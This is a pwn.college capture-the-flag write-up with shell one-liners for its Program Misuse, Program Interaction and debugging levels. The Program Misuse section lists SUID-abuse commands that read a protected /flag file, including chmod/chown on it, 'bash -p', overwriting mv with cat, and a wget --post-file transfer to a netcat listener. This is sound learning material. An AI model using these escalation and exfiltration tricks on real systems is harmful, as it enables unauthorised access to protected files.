pwn.college writeup

Premise

  • Personal solutions, that is saying maybe not the best.
  • The sequence number of each section is the challenge number. CORRESPONDING.
    • X. => section_name levelX
  • Because the required random value of each user is different, so using ${random} key word instead of detailed value.
    • ${random_key} is the key.
    • ${random_value} is the corresponding value.
    • etc.
  • When first enter a new challenge, maybe need to execute the level program purely to get the specifically random value before coding any solutions.
  • The order number is the corresponding challenge number, however, in some certain semester, both are not same, readers should looking for the order number which locates in head of each line under solutions section.

Fundamentals

Program Misuse

Solutions

  1. cat /flag

  2. more /flag

  3. less /flag

  4. tail /flag

  5. head /flag

  6. sort /flag

  7. vim /flag

  8. emacs /flag

  9. nano /flag

  10. rev /flag | rev

  11. od -c -w1024 /flag | awk -F" " -v OFS='' '{$1="";print $0}' or od -c -w1024 /flag | sed -Ee 's/[0-9]{7}//;s/ //g'

    • man od or od --help can peek the usage of od
      • -c same as -t c, select printable characters or backslash escapes
      • -w[BYTES], --width[=BYTES], output BYTES bytes per output line; 32 is implied when BYTES is not specified
    • awk is a column based data filter
      • -F, --field-separator fs, set the FS variable to fs, using fs to split input content, so here is space
      • -v var=val, --assign var=val, set the variable var to the value val before execution of the program begins. OFS is output-field-separator, so here using null to reformat the output
      • '{$1="";print $0}' is the command
        • First, let the first column be null
        • Second, print all the columns
    • sed is a stream editor
      • -E, use extended regular expressions
      • -e, execute multiple sed commands
      • 's/[0-9]{7}//;s/ //g'
        • s/[0-9]{7}// delete the offset address displayed number
        • s/ //g delete all the whitespaces
  12. hd /flag | awk '{print $(NF)}' | tr -d '\n' | sed -Ee 's/\|//g;s/\.[0-9]{8}/\n/'

    • awk part
      • use the last column
    • tr, translate, squeeze, and/or delete characters
      • remove all the Enter(\n)
    • sed part
      • delete all the | characters
      • transform all .XXXXXXXX pattern (X is one number) into a Enter(\n)
  13. xxd /flag | awk '{print $(NF)}' | tr -d '\n' | sed 's/\.$/\n/'

  14. base32 /flag | base32 -d

  15. base64 /flag | base64 -d

  16. split /flag | cat ./xaa

  17. gzip -c /flag | zcat

  18. bzip2 -c /flag | bzcat

  19. zip - /flag | zcat

  20. tar -cvf - /flag | cat

  21. ar -rvs ~/tmp.a /flag; ar -x ~/tmp.a flag; cat flag
    # then remove files
    rm -rf tmp.a flag
    
  22. echo "/flag" | cpio -ov > flag.cpio && cat flag.cpio

  23. EXTREMELY HARD genisoimage -sort /flag -o - /flag

  1. env -i cat /flag

  2. find / -maxdepth 1 -name flag -exec cat {} \;

  3. echo -e "ans: /flag\n\tcat /flag" > Makefile && make

  4. nice cat /flag

  5. timeout 1000 cat /flag

  6. stdbuf -o L cat /flag

  7. setarch x86_64 -v cat /flag

  8. watch -x cat /flag

  9. socat - /flag

  10. whiptail --textbox /flag 20 60

  11. awk '{print $0}' /flag

  12. sed -n 'p' /flag

  13. ed /flag
    .
    q
    
  14. chown -v hacker /flag && cat /flag

  15. chmod 444 /flag && cat /flag

  16. cp -v --no-preserve=all /flag ./flag && cat ./flag && rm -rf ./flag

  17. HARD /challenge/babysuid_level40 && mv /usr/bin/cat /usr/bin/mv && /challenge/babysuid_level40 && mv /flag

    • This level's solution is pretty tricky
    • The level said it had set the suid for mv after we executed it. So remember, it set the suid just for a program called mv. mv is just a name, no matter what it is in its core logic. That is saying we can replace it with others.
    • Here we just rename cat to mv, and covered the original mv program, then execute level program to get the suid privilege for present mv program (However, in core logic, it's cat program)
    • Finally, 'cat' it, but our command should be mv /flag
  18. perl -e 'open(FILE,"</flag");$line=<FILE>;foreach ($line){print $_;}'

  19. python -c 'print(open("/flag").read())'

  20. echo 'puts File.read("/flag")' > test.rb && /usr/bin/ruby test.rb && rm -rf test.rb

  21. bash -p
    cat /flag
    
  22. date -f /flag

  23. dmesg -F /flag

  24. wc --files0-from=/flag

  25. HARD gcc -x assembler /flag

  26. as @/flag

  27. HARD wget -bv --post-file=/flag 127.0.0.1:3864 | nc -vl 127.0.0.1 3864

    • DO NOT use the -i option, it turns all the flag letters to lowercase because of the url encoding rule.
  28. TODO

Confusing Question Numbers

  • 17
  • 20 ( really confused )

Program Interaction

Solutions

  1. Execute directly.

  2. Input ${random}.

  3. /challenge/embryoio_level3 ${random}

  4. export ${random_key}=${random_value}
    /challenge/embryoio_level4
    
  5. vim /tmp/${random_filename}
    # input: ${random}
    # or
    # use sed/echo to input without interaction.
    /challenge/embryoio_level5 < /tmp/${random_input_filename}
    
  6. /challenge/embryoio_level6 > /tmp/${random_output_filename}
    cat /tmp/${random_output_filename}
    
  7. env -i /challenge/embryoio_level7

  8. echo "/challenge/embryoio_level8" > ./tmp.sh
    bash tmp.sh
    
  9. echo "/challenge/embryoio_level9" > ./tmp.sh
    bash tmp.sh
    # input: ${random}
    
  10. echo "/challenge/embryoio_level10 ${random}" > ./tmp.sh
    bash tmp.sh
    
  11. echo -e "export ${random_key}=${random_value}\n/challenge/embryoio_level11" > ./tmp.sh
    bash tmp.sh
    
  12. echo -e "echo '${random}' > /tmp/${random_input_filename}\n/challenge/embryoio_level12 < /tmp/${random_input_filename}" > ./tmp.sh
    bash tmp.sh
    
  13. echo -e "/challenge/embryoio_level13 > /tmp/${random_output_filename}\ncat /tmp/${random_output_filename}" > ./tmp.sh
    bash tmp.sh
    
  14. echo "env -i /challenge/embryoio_level14" > ./tmp.sh
    bash tmp.sh
    
  15. ipython
    import subprocess
    subprocess.Popen("/challenge/embryoio_level15")
    
  16. ipython
    import subprocess
    subprocess.run("/challenge/embryoio_level16")
    ${random}
    
  17. ipython
    import subprocess
    subprocess.run(["/challenge/embryoio_level17","${random}"])
    
  18. ipython
    import os,subprocess
    os.environ["${random_key}"] = "${random_value}"
    subprocess.run("/challenge/embryoio_level18")
    
  19. echo "${random}" > /tmp/${random_input_filename}
    ipython
    import subprocess
    subprocess.run("/challenge/embryoio_level19",stdin=open("/tmp/${random_input_filename}"))
    
  20. ipython
    import subprocess
    subprocess.run(["touch /tmp/${random_output_filename}"],shell=True)
    subprocess.run("/challenge/embryoio_level20",stdout=open("/tmp/${random_output_filename}","w"))
    
  21. ipython
    import subprocess
    subprocess.run("/challenge/embryoio_level21",env=dict())
    
  22. echo -e "import subprocess\n\
    subprocess.run('/challenge/embryoio_level22')" > tmp.py
    python tmp.py
    
  23. echo -e "import subprocess\n\
    subprocess.run('/challenge/embryoio_level23')" > tmp.py
    python tmp.py
    ${random}
    
  24. echo -e "import subprocess\n\
    subprocess.run(['/challenge/embryoio_level24','${random}'])" > tmp.py
    python tmp.py
    
  25. echo -e "import os,subprocess\n\
    os.environ['${random_key}'] = '${random_value}'\n\
    subprocess.run('/challenge/embryoio_level25')\
    " > tmp.py
    python tmp.py
    
  26. echo -e "import subprocess\n\
    subprocess.run(['echo edlmbfok > \
    /tmp/${random_input_filename}'],shell=True)\n\
    subprocess.run('/challenge/embryoio_level26',\
    stdin=open('/tmp/${random_input_filename}'))\
    " > tmp.py
    python tmp.py
    
  27. echo -e "import subprocess\n\
    subprocess.run(['touch /tmp/${random_output_filename}'],shell=True)\n\
    subprocess.run('/challenge/embryoio_level27',\
    stdout=open('/tmp/${random_output_filename}','w'))\
    " > tmp.py
    python tmp.py
    cat /tmp/${random_output_filename}
    
  28. echo -e "import subprocess\n\
    subprocess.run('/challenge/embryoio_level28',env=dict())\
    " > tmp.py
    python tmp.py
    
  29. vim tmp.c
    # input content
    vim tmp.sh
    # input content
    # or
    # using "echo -e 'gcc ~/tmp.c -o ~/tmp\n~/tmp' > tmp.sh" instead.
    bash tmp.sh
    
    • tmp.c (Template for all levels about c below) :
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdio.h>
    void pwncollege(){
            return;
    }
    int main(int argc,char *argv[]){
            pid_t pid = fork();
            if(pid < 0){
                exit(-1);
            }else if(pid == 0){
            	execl("/challenge/embryoio_level29","embryoio_level29",NULL)
            }else{
                waitpid(pid,NULL,0);
            }
            return 0;
    }
    
    • tmp.sh
    gcc ~/tmp.c -o ~/tmp
    ~/tmp
    
  30. # the same as level29.
    # need to modify tmp.c to correct "level29" into "level30".
    # into vim, and input:
    :s/29/30/g
    # then execute the bash script:
    bash tmp.sh
    # input the specifically value
    ${random}
    
  31. :s/30/31/g
    # modify tmp.c:
    execl("/challenge/embryoio_level31","embryoio_level31",${random},NULL)
    # continue the flow
    bash tmp.sh
    
  32. :s/31/32/g
    # modify tmp.c to add one line above the execl() funtion:
    putenv("${random_key}=${random_value}");
    # continue the flow
    bash tmp.sh
    
  33. echo "${random}" > /tmp/${random_input_filename}
    # modify tmp.c to add one line above the execl() funtion:
    freopen("/tmp/${random_input_filename}","r",stdin);
    # correct the level number
    :s/32/33/g
    # continue the flow
    bash tmp.sh
    
  34. # modify tmp.c to add one line above the execl() funtion:
    freopen("/tmp/${random_output_filename}","w",stdout);
    # correct the level number
    :s/33/34/g
    # continue the flow
    bash tmp.sh
    cat /tmp/${random_output_filename}
    
  35. :s/34/35/g
    # modify tmp.sh at second line to below:
    env -i ~/tmp
    # continue the flow
    bash tmp.sh
    
  36. /challenge/embryoio_level36 | cat

  37. /challenge/embryoio_level37 | grep pwn

  38. /challenge/embryoio_level38 | sed b

  39. /challenge/embryoio_level39 | rev | rev

  40. cat | /challenge/embryoio_level40 then input ${random}

  41. for (( i=0; i<90000; i=i+1 )); do echo -e "${random_reversed}" >> huge.txt; done && rev huge.txt | /challenge/embryoio_level41

  42. bash tmp.sh
    
    • tmp.sh
    set -Eeuxo pipefail
    /challenge/embryoio_level42 | cat
    
  43. # tmp.sh
    /challenge/embryoio_level43 | grep pwn
    # execute
    bash tmp.sh
    
  44. # tmp.sh
    /challenge/embryoio_level44 | sed b
    # execute
    bash tmp.sh
    
  45. # tmp.sh
    /challenge/embryoio_level45 | rev | rev
    # execute
    bash tmp.sh
    
  46. # tmp.sh
    cat | /challenge/embryoio_level46
    # execute
    bash tmp.sh
    
  47. # tmp.sh
    for (( i=0; i<20000; i=i+1 )); do
           echo -e "${random_reversed}" >> huge.txt
    done
    rev huge.txt | /challenge/embryoio_level47
    # execute
    echo "${random_reversed}" > huge.txt
    bash tmp.sh
    

Confusing Question Numbers

  • 7
  • 15
  • 21

TODO

  • Use sed to replace all the interaction steps ( vim etc. ).

Assembly Crash Course

TODO

Debugging Refresher

  1. r
    c
    
    • run to start a program, with no breakpoint set. r for short.
    • start to start a program, with a breakpoint set on main.
    • starti to start a program, with a breakpoint set on _start.
    • attach <PID> to attach to some other already running program.
    • core <PATH> to analyze the core dump of an already run program.
    • continue to continue program execution. c for short.
  2. r
    p/x $r12
    # copy the value of $r12
    c
    
    • info registers to see the values of all registers.
    • print to print a particular (register's) value. p for short.
      • print $rdi (in Decimal)
      • p/x $rdi (in Hexadecimal)
  3. r
    x/8gx $rsp
    c
    x/8gx $rsp
    # copy the newer value which is different from the old one (most of the older one and the corresponding newer one above is the same)
    c
    # paste the value
    
    • x/<n><u><f> <address> to examine the contents of memory.
      • <n> is the number of elements to display.
      • <u> is the unit size to display.
        • b (1 byte)
        • h (2 bytes)
        • w (4 bytes)
        • g (8 bytes)
      • <f> is the format to display it in.
        • d (decimal)
        • x (hexadecimal)
        • s (string)
        • i (instruction)
      • <address> can be specified using a register name, symbol name, or absolute address.
      • supply mathematical expressions when specifying the address.
    • examples
      • x/8i $rip : print the next 8 instructions from the current instruction pointer.
      • x/16i main : print the first 16 instructions of main.
      • disassemble main : print all of the instructions of main. disas main for short.
      • x/16gx $rsp : print the first 16 values on the stack.
      • x/gx $rbp-0x32 : print the local variable stored there on the stack.
    • set disassembly-flavor intel : set INTEL assembly syntax.
  4. r
    x/8gx $rsp
    ni 18
    x/8gx $rsp
    # copy the newer value which is different from the old one (most of the older one and the corresponding newer one above is the same)
    ni 36
    # paste
    x/8gx $rsp
    # copy the changed value
    ni 38
    # paste
    x/8gx $rsp
    # copy the changed value
    ni 38
    # paste
    x/8gx $rsp
    # copy the changed value
    ni 38
    # paste
    
    • stepi <n> to step forward one instruction. si <n> for short. nexti <n> to step forward one instruction, while stepping over any function calls. ni <n> for short.
      • <n> parameter is optional, but allows you to perform multiple steps at once.
      • finish command in order to finish the currently executing function.
    • break *<address> to set a breakpoint at the specified-address.
    • display/<n><u><f> is the same as the x/<n><u><f>.
    • layout regs : puts gdb into its TUI mode and shows the contents of all of the registers, as well as nearby instructions.
  5. # 1. Write a `gdb` script file, named ${filename}.gdb
    # 2. Run command `/challenge/embryogdb_level5 -x {filename}.gdb` (in home directory)
    # 3. Get the flag
    # NOTE: Some versions perhaps have corresponding explanation, which provide my thought of solving the challenge
    
    # latest version
    TODO
    
    • first version (it works)
    start
    break scanf@plt
    continue
    break *main+818
    command
        set $rdx = $rax
    end
    continue
    continue
    continue
    continue 
    continue
    continue
    continue 
    continue
    continue
    
    • example.gdb
     start
     break *main+42
     commands
         silent
         set $local_variable = *(unsigned long long*)($rbp-0x32)
         printf "Current value: %llx\n", $local_variable
         continue
     end
     continue 
    
    • -x <PATH_TO_SCRIPT> : gdb will execute all of the gdb commands after gdb launches.
      • filename usually is example_filename.gdb.
    • -ex '<COMMAND>' : execute individual commands, also can pass multiple commands with multiple -ex arguments.
    • ~/.gdbinit : some commands that always executed for any gdb session.
      • In general, set disassembly-flavor intel can be in there.
    • silent indicates that we want gdb to not report that we have hit a breakpoint, to make the output a bit cleaner.

Intro to Cybersecurity

Talking Web

Premise

In each level, before taking any operation, we must let the server run. However, after we run it, the current terminal can NOT type other commands. So we need a terminal multiplexer in order to input final command that can get the flag of each level.

As for the terminal multiplexer, I use tmux, readers can also use others (i.e. sceen).

So, follow these steps as precondition.

tmux new -s work
/challenge/babyhttp

Solutions

  1. curl 127.0.0.1

Building a Web Server

Intercepting Communication

Cryptography

Web Security

Program Security

Shellcode Injection

Reverse Engineering

Memory Errors

Program Exploitation

System Security

Introduction

No challenges in this module.

Sandboxing

Race Conditions

Kernel Security

System Exploitation

Software Exploitation

Return Oriented Programming

Format String Exploits

File Struct Exploits

Dynamic Allocator Misuse

Exploitation Primitives and Memory Mastery

Dynamic Allocator Exploitation

Archived Modules

Memory Errors

Advanced Exploitation

Example Dojo

Hello

World

Example Import Dojo

Hello

Planet